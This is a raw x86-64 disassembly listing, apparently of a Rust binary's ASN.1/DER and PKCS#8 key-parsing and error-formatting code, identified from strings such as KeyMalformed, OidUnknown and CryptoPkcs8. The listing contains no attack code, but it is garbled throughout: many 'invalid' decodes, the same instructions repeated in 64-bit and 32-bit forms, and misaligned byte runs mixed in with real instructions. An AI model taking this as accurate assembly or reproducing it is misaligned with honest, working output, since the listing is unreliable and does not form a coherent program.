or dword [rax], eax
add byte [rax], al
mov r8d, 9
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.1a7f1b6d420
std
call qword [rax + 0x38c48348]
ret 0x8be8
std
call qword [rax + 0x38c48348]
invalid
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
invalid
sub byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, str.KeyMalformedOidUnknownoid
lea edx, str.KeyMalformedOidUnknownoid
sbb byte [rax - 0x73], cl
adc eax, 0xc5e52
invalid
lea edx, str.KeyMalformedOidUnknownoid
add byte [rcx - 0x48], al
or al, 0
add byte [rax], al
mov r8d, 0xc
mov eax, 0xc
add rsp, 0x38
jmp rax
in al, dx
mov rax, qword [rcx]
mov rax, qword [rcx]
mov rax, qword [rcx]
add dword [rbx - 0x13e7cf8], ecx
mov ecx, dword [rax]
add ecx, 0xfffffffe
invalid
invalid
sar esi, 0x83
cmp ecx, 4
mov r8d, 1
mov eax, 1
stc
add al, 0x41
mov eax, 1
cmovb r8d, ecx
lea rcx, [0x1a7f1c9e570]
lea ecx, [0x1a7f1c9e570]
lea ecx, [0x1a7f1c9e570]
or eax, 0x10c195
rcl dword [rax], 0
movsxd r8, dword [rcx + r8*4]
add r8, rcx
add eax, ecx
jmp r8
loopne 0x1a7f1b9242e
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
mov eax, dword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc5dc8
lea rdx, str.AlgorithmParametersMissingAsn1
mov r8d, 0x1a
add byte [rax], al
add bl, ch
sbb dword [rax - 0x75], ecx
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
jmp case.0x1a7f1b92526.248
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc5ded
pop rbp
or al, 0
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc5ded
pop rbp
or al, 0
pop rbp
or al, 0
mov r8d, 0xc
add byte [rax], al
add byte [rax - 0x7d], cl
add rsp, 0x48
jmp rax
invalid
add rax, 4
lea rcx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
lea ecx, [rsp + 0x40]
mov qword [rcx], rax
lea rax, [0x1a7f1c58220]
add eax, 0xc5ded
pop rbp
or al, 0
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
invalid
and al, 0x20
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x73], cl
lea rax, [0x1a7f1c5820c]
lea eax, [0x1a7f1c5820c]
add eax, 0xc5dbf
lea r9, [0x1a7f1c58216]
mov r8d, 0xa
add byte [rax], al
add byte [rax - 0x77], cl
mov rcx, rdx
mov rdx, rax
mov edx, eax
invalid
wait
add byte [rax], al
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.1a7f1b6d100
jmp 0x1a7f1b92493
lea r9, [rsp + 0x40]
and al, 0x40
mov qword [r9], rax
mov dword [rcx], eax
add dword [rax - 0x73], ecx
add eax, 0xc5d6a
invalid
lea rax, [0x1a7f1c581e0]
lea eax, [0x1a7f1c581e0]
add byte [rax - 0x77], cl
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1a7f1c581da]
pop rbp
or al, 0
mov r8d, 4
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d420
scasd eax, dword [rdi]
std
invalid
scasd eax, dword [rdi]
std
call qword [rax + 0x48c48348]
nop
add rsp, 0x48
ret
mov rax, rdx
mov eax, edx
mov rcx, qword [rcx]
lea rdx, [rsp + 0x60]
mov qword [rdx], rcx
add rcx, 8
add ecx, 8
add ecx, 8
lea r8, [0x1a7f1c581a0]
lea eax, [0x1a7f1c581a0]
add eax, 0xc5cea
mov qword [rsp + 0x50], r8
mov dword [rsp + 0x50], eax
and al, 0x50
mov qword [rsp + 0x48], rdx
mov dword [rsp + 0x48], edx
lea rdx, str.position
pop rsp
or al, 0
mov qword [rsp + 0x38], rdx
lea rdx, [0x1a7f1c58178]
movsd dword [rdi], dword [rsi]
pop rsp
or al, 0
movsd dword [rdi], dword [rsi]
pop rsp
or al, 0
mov qword [rsp + 0x30], rdx
push rsp
and al, 0x30
mov qword [rsp + 0x28], rcx
and al, 0x28
sub byte [rax - 0x39], cl
mov qword [rsp + 0x40], 8
and al, 0x40
or byte [rax], al
or byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], 4
lea rdx, str.Errorcode
adc eax, 0x10ab22
adc eax, 0x10ab22
and ch, byte [rbx - 0x72b3fff0]
stosd dword [rdi], eax
adc byte [rax], al
lea r9, str.kind
or eax, 0xf8453
test byte [rdi], cl
add byte [rcx - 0x48], al
add eax, 0x48000000
add byte [rax], al
mov rcx, rax
mov r8d, 5
add byte [rax], al
mov rcx, rax
call fcn.1a7f1b6d1c0
nop
add rsp, 0x68
invalid
lodsb al, byte [rsi]
std
call qword [rax + 0x68c48348]
push 0xffffffffec8348c3
push 0x4c01b60f
lea r8, [0x1a7f1c9e580]
ret
sub rsp, 0x68
movzx eax, byte [rcx]
lea r8, [0x1a7f1c9e580]
add eax, 0x10c061
movsxd rax, dword [r8 + rax*4]
add rax, r8
jmp rax
invalid
or byte [rcx + rax - 0x40], 0xff
loopne 0x1a7f1b92571
invalid
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
lea rdx, str.DateTimeFailedFileNotFoundIncompleteexpected_len
pop rbp
or al, 0
invalid
sbb byte [rax - 0x73], cl
adc eax, 0xc5da5
pop rbp
or al, 0
invalid
pop rbp
or al, 0
invalid
add cl, ch
add dword [rax], eax
add byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c582e8]
pop rbp
or al, 0
invalid
jmp 0x1a7f1b92732
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c582e8]
pop rbp
or al, 0
invalid
pop rbp
or al, 0
invalid
add cl, ch
push rbp
add al, byte [rax]
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c582ee]
jmp 0x1a7f1b927ad
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c582ee]
jmp 0x1a7f1b926f6
add byte [rax], al
lea rax, [rcx + 8]
lea eax, [rcx + 8]
lea r8, [rsp + 0x60]
mov qword [r8], rax
add rcx, 4
rol dword [rax + rcx*2], 0x8d
add eax, 0xc5db9
invalid
pop rbp
or al, 0
invalid
rol dword [rax + rcx*2], 0x8d
add eax, 0xc5db9
invalid
pop rbp
or al, 0
invalid
mov ecx, 0x48000c5d
mov dword [rsp + 0x50], eax
and al, 0x50
add byte [rax - 0x77], cl
mov qword [rsp + 0x50], rax
and al, 0x50
mov qword [rsp + 0x48], r8
lea rax, str.actual_len
lea rax, str.actual_len
mov qword [rsp + 0x38], rax
lea rax, [0x1a7f1c58310]
lea eax, [0x1a7f1c58310]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 0xa
or al, byte [rax]
add byte [rax], al
mov qword [rsp + 0x20], 0xc
and al, 0x20
or al, 0
and byte [rax + rax], cl
add byte [rax], al
lea rax, [0x1a7f1c582fa]
xor ebx, dword [rbp + 0xc]
add byte [rbp + rcx*4 + 0xd], cl
lea r9, [0x1a7f1c58304]
pop rbp
or al, 0
lea r9, [0x1a7f1c58304]
or eax, 0xc5d36
mov r8d, 0xa
or al, byte [rax]
add byte [rax], al
jmp 0x1a7f1b928fa
inc rcx
lea r9, [rsp + 0x60]
mov qword [r9], rcx
mov dword [rcx], ecx
invalid
mov dword [rcx], ecx
or dword [rax - 0x73], ecx
add eax, 0xc5d75
or al, 0
lea rax, [0x1a7f1c58360]
or al, 0
add byte [rax - 0x77], cl
and al, 0x20
invalid
mov qword [rsp + 0x20], rax
and byte [rax - 0x73], cl
lea rax, [0x1a7f1c8aa4c]
add eax, 0xf8455
mov r8d, 2
add al, byte [rax]
add byte [rax], al
add cl, ch
sub al, byte [rbx]
add byte [rax], al
add byte [rax], al
jmp 0x1a7f1b9292c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
mov rax, qword [rax + 0x18]
lea rdx, str.IndefiniteLengthtag
adc eax, 0xc5d6b
adc eax, 0xc5d6b
pop rbp
or al, 0
jmp 0x1a7f1b927e3
add byte [rax - 1], cl
ror dword [rax - 0x73], 0x44
lea rax, [rsp + 0x60]
inc rcx
inc ecx
lea rax, [rsp + 0x60]
invalid
mov qword [rax], rcx
lea rcx, [0x1a7f1c58398]
or eax, 0xc5d6c
or eax, 0xc5d6c
insb byte [rdi], dx
pop rbp
or al, 0
mov qword [rsp + 0x30], rcx
mov dword [rsp + 0x30], ecx
and al, 0x30
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x20], 3
mov dword [rsp + 0x20], 3
and al, 0x20
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rax, str.Length
cli
pop rbx
or al, 0
invalid
add byte [rbp + rcx*4 + 0xd], cl
pop r13
or al, 0
lea r9, [0x1a7f1c58390]
or eax, 0xc5d43
mov r8d, 6
jmp case.0x1a7f1b91e8c.77
invalid
add eax, dword [rax]
add byte [rax - 1], cl
ror dword [rax - 0x73], 0x44
and al, 0x60
inc rcx
lea rax, [rsp + 0x60]
and al, 0x60
and al, 0x60
mov qword [rax], rcx
lea rcx, [0x1a7f1c58398]
pop rbp
pop rbp
or al, 0
mov qword [rsp + 0x30], rcx
and al, 0x30
mov qword [rsp + 0x28], rax
and al, 0x28
sub byte [rax - 0x39], cl
mov qword [rsp + 0x20], 3
mov dword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
lea rax, str.NoncanonicalOidMalformedSetDuplicateSetOrderingOverlengthPem
lea r9, [0x1a7f1c58390]
lea ecx, [0x1a7f1c58390]
lea ecx, [0x1a7f1c58390]
or eax, 0xc5d05
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp case.0x1a7f1b91e8c.77
add al, byte [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov eax, dword [rdx + 0x28]
invalid
invalid
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
sub byte [rax - 0x75], cl
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c583c4]
lea edx, [0x1a7f1c583c4]
adc eax, 0xc5d1b
add bl, ch
inc rcx
jmp 0x1a7f1b926f6
inc rcx
lea rax, [rsp + 0x60]
invalid
mov qword [rax], rcx
lea rcx, [0x1a7f1c58220]
invalid
pop rbx
or al, 0
invalid
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x28], eax
xor byte [rax - 0x77], cl
and al, 0x28
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], 3
mov dword [rsp + 0x20], 3
and al, 0x20
add eax, dword [rax]
add byte [rax], al
add byte [rax], al
add byte [rax - 0x73], cl
invalid
lea rax, [0x1a7f1c5820c]
lea eax, [0x1a7f1c5820c]
add eax, 0xc5b35
xor eax, 0x4c000c5b
lea r9, [0x1a7f1c58216]
lea ecx, [0x1a7f1c58216]
pop rbx
or al, 0
jmp case.0x1a7f1b920b8.53
test al, 1
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
lea rdx, [0x1a7f1c583d0]
lea edx, [0x1a7f1c583d0]
adc eax, 0xc5cda
mov r8d, 0xc
or al, 0
add byte [rax], al
jmp 0x1a7f1b927e9
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
invalid
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c583dc]
adc eax, 0xc5cc8
mov r8d, 0xb
mov eax, 0xb
jmp 0x1a7f1b927e9
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x75], cl
and byte [rax - 0x75], cl
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
mov eax, dword [rax + 0x18]
and byte [rax - 0x75], cl
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
invalid
invalid
mov eax, dword [rax + 0x18]
lea rdx, [0x1a7f1c88276]
adc eax, 0xf5b44
sldt word [rcx - 0x48]
or byte [rax], al
add byte [rax], al
mov r8d, 8
jmp 0x1a7f1b927e9
lodsb al, byte [rsi]
add byte [rax], al
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
invalid
invalid
add byte [rax], al
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c583e7]
adc eax, 0xc5c97
adc eax, 0xc5c97
mov r8d, 0xa
add byte [rax], al
add cl, ch
mov es, word [rax]
add byte [rax], al
jmp 0x1a7f1b927e9
add rcx, 8
lea r9, [rsp + 0x60]
lea ecx, [rsp + 0x60]
lea ecx, [rsp + 0x60]
mov qword [r9], rcx
mov dword [rcx], ecx
lea rax, [0x1a7f1c583f8]
mov bl, byte [rsp + rcx]
mov qword [rsp + 0x20], rax
and al, 0x20
lea rax, [0x1a7f1c583f1]
lea eax, [0x1a7f1c583f1]
add eax, 0xc5c77
mov r8d, 3
jmp 0x1a7f1b9292c
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov eax, dword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, case.0x1a7f1b74e95.1
dec byte [rax + rax]
sbb byte [rax - 0x73], cl
adc eax, 0xcfec8
dec byte [rax + rax]
dec byte [rax + rax]
jmp 0x1a7f1b927e3
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc5c6b
sub byte [rax - 0x75], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
sbb byte [rax - 0x73], cl
adc eax, 0xc5c6b
mov r8d, 6
mov eax, 6
add byte [rax], al
add bl, ch
xor al, 0x48
mov rcx, qword [rdx + 0x20]
jmp 0x1a7f1b927e9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
sbb byte [rax - 0x73], cl
adc eax, 0xc5c56
sbb byte [rax - 0x73], cl
adc eax, 0xc5c56
mov r8d, 0xe
jmp 0x1a7f1b927e9
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, [0x1a7f1c5842c]
pop r12
pop rsp
or al, 0
mov r8d, 0x10
add rsp, 0x68
jmp rax
lea rax, [rcx + 4]
lea r8, [rsp + 0x60]
mov qword [r8], rax
inc rcx
lea rax, [0x1a7f1c58398]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r8
and al, 0x48
and al, 0x48
lea rax, str.actualTagUnknownbyte
lea rax, str.actualTagUnknownbyte
lea eax, str.actualTagUnknownbyte
mov qword [rsp + 0x38], rax
and al, 0x38
lea rax, [0x1a7f1c58458]
mov qword [rsp + 0x30], rax
xor eax, 0x48000c5c
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x40], 6
mov qword [rsp + 0x20], 8
and al, 0x20
or byte [rax], al
add byte [rax], al
and al, 0x20
or byte [rax], al
add byte [rax], al
lea rax, [0x1a7f1c5843c]
add eax, 0xc5bf6
lea r9, [0x1a7f1c58449]
or eax, 0xc5bfc
mov r8d, 0xd
add byte [rax], al
jmp 0x1a7f1b928fa
inc rcx
lea rax, [rsp + 0x60]
mov qword [rax], rcx
lea rcx, [0x1a7f1c58490]
pop rsp
or al, 0
pop rsp
or al, 0
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
and al, 0x28
and al, 0x28
mov qword [rsp + 0x20], 4
and al, 0x20
add al, 0
add byte [rax], al
lea rax, [0x1a7f1c5847e]
lea r9, [0x1a7f1c58488]
or eax, 0xc5bfd
or eax, 0xc5bfd
mov r8d, 0xa
jmp case.0x1a7f1b91e8c.77
lea rax, [rcx + 8]
lea r8, [rsp + 0x60]
mov qword [r8], rax
add rcx, 4
lea rax, [0x1a7f1c58340]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], r8
lea rax, [0x1a7f1c584c3]
add eax, 0xc5c05
add eax, 0xc5c05
add byte [rax - 0x77], cl
and al, 0x38
mov qword [rsp + 0x38], rax
lea rax, [0x1a7f1c58310]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x40], 9
and al, 0x40
or dword [rax], eax
add byte [rax], al
and al, 0x40
or dword [rax], eax
add byte [rax], al
mov qword [rsp + 0x20], 7
lea rax, str.TrailingDatadecodedremainingUtf8
lea eax, str.TrailingDatadecodedremainingUtf8
and al, 0x20
invalid
lea eax, str.TrailingDatadecodedremainingUtf8
ret
lea r9, [0x1a7f1c584bc]
mov r8d, 0xc
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x77], cl
ror dword [rax - 0x77], 1
ret 0xbbe8
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d1c0
jmp 0x1a7f1b9297d
add rcx, 8
lea r9, [rsp + 0x60]
ror dword [rax], 0x4c
lea ecx, [rsp + 0x60]
mov qword [r9], rcx
lea rax, [0x1a7f1c584d0]
invalid
or dword [rax - 0x73], ecx
add eax, 0xc5bb6
invalid
add byte [rax - 0x77], cl
and al, 0x20
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c584cc]
lea eax, [0x1a7f1c584cc]
mov r8d, 4
add byte [rax], al
add byte [rax - 0x77], cl
mov ecx, edx
mov rdx, rax
invalid
invalid
mov rcx, rdx
mov ecx, edx
mov rdx, rax
call fcn.1a7f1b6d420
jmp 0x1a7f1b9297d
inc rcx
lea rax, [rsp + 0x60]
invalid
mov qword [rax], rcx
mov dword [rax], ecx
invalid
mov dword [rax], ecx
lea rcx, [0x1a7f1c58398]
mov qword [rsp + 0x30], rcx
mov qword [rsp + 0x28], rax
and al, 0x28
mov qword [rsp + 0x20], 3
lea rax, str.Valueinvalid_padding_scheme
add byte [rax - 0x73], cl
add eax, 0xc5b8b
lea r9, [0x1a7f1c58390]
mov r8d, 5
mov eax, 5
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d100
nop
add rsp, 0x68
ret
mov rcx, qword [rdx + 0x20]
mov ecx, dword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.NoneSome
mov r8d, 4
add rsp, 0x38
jmp rax
mov qword [r9], rcx
lea rax, [0x1a7f1c58398]
mov qword [rsp + 0x20], rax
and al, 0x20
and al, 0x20
lea rax, [0x1a7f1c8b624]
lea eax, [0x1a7f1c8b624]
mov r8d, 4
mov rcx, rdx
mov rdx, rax
mov edx, eax
mov edx, eax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
ret
cmp byte [rax - 0x77], cl
ror byte [rbp + rcx*4 + 0x4c], 1
and al, 0x30
mov qword [r9], rcx
lea rcx, [0x1a7f1c58248]
mov qword [rsp + 0x20], rcx
invalid
and byte [rax - 0x73], cl
adc eax, 0xc5840
lea rdx, str.Length
mov r8d, 6
mov rcx, rax
call fcn.1a7f1b6d420
adc ch, byte [rdx + 0x4890fffd]
add esp, 0x38
shr eax, 0x12
stosb byte [rdi], al
std
call qword [rax + 0x38c48348]
adc ch, byte [rdx + 0x4890fffd]
add esp, 0x38
ret
add dword [rax - 0x75], ecx
or byte [rax - 0x7d], cl
sar esp, 0x48
cmp ecx, 4
add al, 0x41
mov eax, 2
add byte [rax], al
add al, 0x41
mov eax, 2
add byte [rax], al
add byte [rax], al
cmovb r8, rcx
lea rcx, [0x1a7f1c9e5e0]
adc byte [rax], al
adc byte [rax], al
movsxd r8, dword [rcx + r8*4]
add r8, rcx
jmp r8
or dword [rcx + 1], 0xe0ff41c8
add rax, 8
lea r9, [rsp + 0x30]
mov qword [r9], rax
lea rax, [0x1a7f1c581e0]
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x20], eax
lea rax, [0x1a7f1c581da]
mov r8d, 4
jmp 0x1a7f1b92a89
lea r9, [rsp + 0x30]
and al, 0x30
mov qword [r9], rax
lea rax, [0x1a7f1c58278]
mov qword [rsp + 0x20], rax
lea rax, [0x1a7f1c5826e]
lea eax, [0x1a7f1c5826e]
lea eax, [0x1a7f1c5826e]
mov r8d, 5
add eax, 0x48000000
mov ecx, edx
mov rcx, rdx
mov rdx, rax
call fcn.1a7f1b6d420
nop
add rsp, 0x38
ret
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.VersionParametersMalformedPublicKey
mov r8d, 7
jmp 0x1a7f1b92ace
mov rcx, qword [rdx + 0x20]
mov rax, qword [rdx + 0x28]
mov rax, qword [rax + 0x18]
lea rdx, str.CryptoPkcs8
mov r8d, 6
add rsp, 0x38
jmp rax
mov rdx, rax
mov rdx, qword [r8 + rdx*8 - 8]
test rdx, rdx
je 0x1a7f1b92b11
bsr rdx, rdx
xor rdx, 0x3f
xor edx, 0x3f
xor edx, 0x3f
jmp 0x1a7f1b92b16
mov edx, 0x40
cmp rax, 5
jb 0x1a7f1b92b20
mov rax, qword [rcx + 8]
shl rax, 6
sub rax, rdx
ret
mov eax, 0x48000000
mov esi, ecx
test r8, r8
je 0x1a7f1b92c48
mov r14, r8
mov r15, rdx
mov rcx, r8
call fcn.1a7f1b7e783
mov rdi, rax
mov rbx, rdx
mov rcx, rax
mov rdx, r15
mov r8, r14
call fcn.1a7f1c22170
mov r15, r14
shr r15, 1
lea rbp, [rdi + r14]
sub rbp, r15
lea r9, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov rcx, r15
mov rdx, rdi
mov r8, r15
call fcn.1a7f1b8bdbe
mov r13, rax
mov r12, rdx
lea r9, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov rcx, r15
mov rdx, rbp
mov r8, r15
call fcn.1a7f1b8bdbe
dec r15
xor ecx, ecx
cmp r15, 0xffffffffffffffff
je 0x1a7f1b92bdd
cmp r12, rcx
je 0x1a7f1b92dd6
cmp r15, rdx
jae 0x1a7f1b92de5
mov r8b, byte [r13 + rcx]
mov r9b, byte [rax + r15]
mov byte [r13 + rcx], r9b
mov byte [rax + r15], r8b
inc rcx
dec r15
jmp 0x1a7f1b92bab
lea r15, [rsp + 0x20]
and qword [r15 + 0x28], 0
mov eax, 8
and qword [r15], 0
lea rcx, [rsp + 0x78]
mov qword [rcx], rax
mov qword [rsp + 0x58], rdi
mov qword [rsp + 0x60], r14
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x70], rcx
mov rdx, r14
shr rdx, 3
and r14d, 7
cmp r14, 1
sbb rdx, 0xffffffffffffffff
mov rcx, r15
stc
stc
call fcn.1a7f1b7de0c
mov r15, qword [r15 + 0x28]
cmp r15, 4
jbe 0x1a7f1b92d0e
lea r12, [rsp + 0x28]
mov r13, qword [r12]
mov rbp, qword [r12 + 8]
jmp 0x1a7f1b92d21
lea rdx, [rsp + 0x58]
mov qword [rdx], 4
and qword [rdx + 8], 0
lea rdi, [rsp + 0x80]
and qword [rdi + 0x28], 0
mov qword [rdx + 0x10], 2
and qword [rdi], 0
add byte [rax - 0x77], cl
stc
add byte [rax - 0x77], cl
stc
call fcn.1a7f1b7e284
movups xmm0, xmmword [rdi]
movups xmm1, xmmword [rdi + 0x10]
movups xmm2, xmmword [rdi + 0x20]
lea rdi, [rsp + 0x48]
movaps xmmword [rdi - 8], xmm2
movaps xmmword [rdi - 0x18], xmm1
movaps xmmword [rdi - 0x28], xmm0
mov ecx, 4
xor edx, edx
call fcn.1a7f1b7e76c
lea rax, [rsp + 0x28]
mov rcx, qword [rax + 8]
mov rdx, qword [rsp + 0x48]
push rsp
and al, 0x48
mov r8, rax
mov eax, eax
mov r9, rdx
cmp rdx, 5
jb 0x1a7f1b92cc4
mov r9, qword [rsp + 0x28]
mov r8, rcx
test r9, r9
je 0x1a7f1b92cef
cmp qword [r8 + r9*8 - 8], 0
jne 0x1a7f1b92cef
mov r8, rdi
cmp rdx, 5
jb 0x1a7f1b92ce2
mov rdx, qword [rsp + 0x28]
mov r8, rax
test rdx, rdx
test edx, edx
je 0x1a7f1b92cab
dec rdx
mov qword [r8], rdx
jmp 0x1a7f1b92cab
movaps xmm0, xmmword [rsp + 0x20]
movaps xmm1, xmmword [rsp + 0x30]
sub byte [rsp + 0x30], cl
and byte [rdi], cl
sub byte [rsp + 0x30], cl
movaps xmm2, xmmword [rsp + 0x40]
movups xmmword [rsi + 0x20], xmm2
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], cl
adc dword [rsi], eax
adc byte [rdi], cl
adc dword [rsi], eax
jmp 0x1a7f1b92dc1
add byte [rbp + rcx*4 + 0x64], cl
and al, 0x48
lea r12, [rsp + 0x48]
lea rbp, [rsp + 0x28]
mov r13, r15
mov r15d, 4
lea r14, [rsp + 0x58]
je case.0x1a7f1b6fd85.301
pop rax
cmp r13, r15
jae 0x1a7f1b92d43
mov rcx, r14
call fcn.1a7f1b7e234
cmp rax, 1
clc
add dword [rbp + 0x45], esi
clc
add dword [rbp + 0x45], esi
mov qword [rbp + r13*8], rdx
inc r13
jmp 0x1a7f1b92d26
mov qword [r12], r13
movups xmm0, xmmword [rsp + 0x58]
and al, 0x58
and al, 0x58
movups xmm1, xmmword [rsp + 0x68]
lea r14, [rsp + 0x80]
movaps xmmword [r14 + 0x10], xmm1
movaps xmmword [r14], xmm0
lea r15, [rsp + 0x20]
mov rcx, r14
int1
call fcn.1a7f1b7e234
test rax, rax
je 0x1a7f1b92d82
mov rcx, r15
call fcn.1a7f1b7de6e
mov al, 0xfe
invalid
jmp 0x1a7f1b92d67
mov al, 0xfe
invalid
mov qword [r12], r13
mov dword [rsp], ebp
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmm2, xmmword [rsp + 0x40]
lea rdx, [rsp + 0x80]
movaps xmmword [rdx + 0x20], xmm2
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov rcx, rsi
call fcn.1a7f1b7e5e3
test rbx, rbx
je 0x1a7f1b92dc1
mov edx, 1
mov rcx, rdi
mov r8, rbx
call fcn.1a7f1b446ce
sti
invalid
sti
call qword [rax - 0x473b7eb8]
add byte [rax], al
add byte [rbx + 0x5d], bl
nop
add rsp, 0xb8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
or al, 0
mov rcx, r12
mov rdx, r12
jmp case.0x1a7f1b7491c.294
lea r8, str._rustc_a57770440f1ebe5b992551d3bcc489ae211908d4librarycore_src_slicemod.rs
mov rcx, r15
mov ecx, edi
mov ecx, edi
call fcn.1a7f1c2fb60
ud2
shr rax, 3
add rsp, 0x28
ret
push rbp
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
mov r12, qword [rdx + 0x18]
mov r15, qword [rdx + 0x10]
xor eax, eax
mov r8, r12
sub r8, r15
jb 0x1a7f1b92ffe
invalid
enter 1, 0
invalid
mov rdi, rdx
mov rbp, qword [rdx + 8]
cmp r12, rbp
ja 0x1a7f1b92ffe
mov qword [rsp + 0x20], rcx
mov rsi, qword [rdi]
lea rdx, [rsi + r15]
lea r14, [rdi + 0x28]
mov rbx, qword [rdi + 0x20]
and byte [rax - 0x7d], cl
sti
add al, 0xf
xchg ah, bl
add byte [rax], al
invalid
and byte [rax - 0x7d], cl
sti
add al, 0xf
xchg ah, bl
add byte [rax], al
add bl, ch
sbb ah, byte [rsi + 0x2e]
nop dword [rax + rax]
jmp 0x1a7f1b92e80
lea rdx, [rsi + r15]
mov r8, r12
sub r8, r15
jb 0x1a7f1b92ff7
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0x4c
invalid
movzx ecx, byte [r14 + rbx - 1]
cmp r8, 0x10
jae 0x1a7f1b92ec0
xor r9d, r9d
test r8, r8
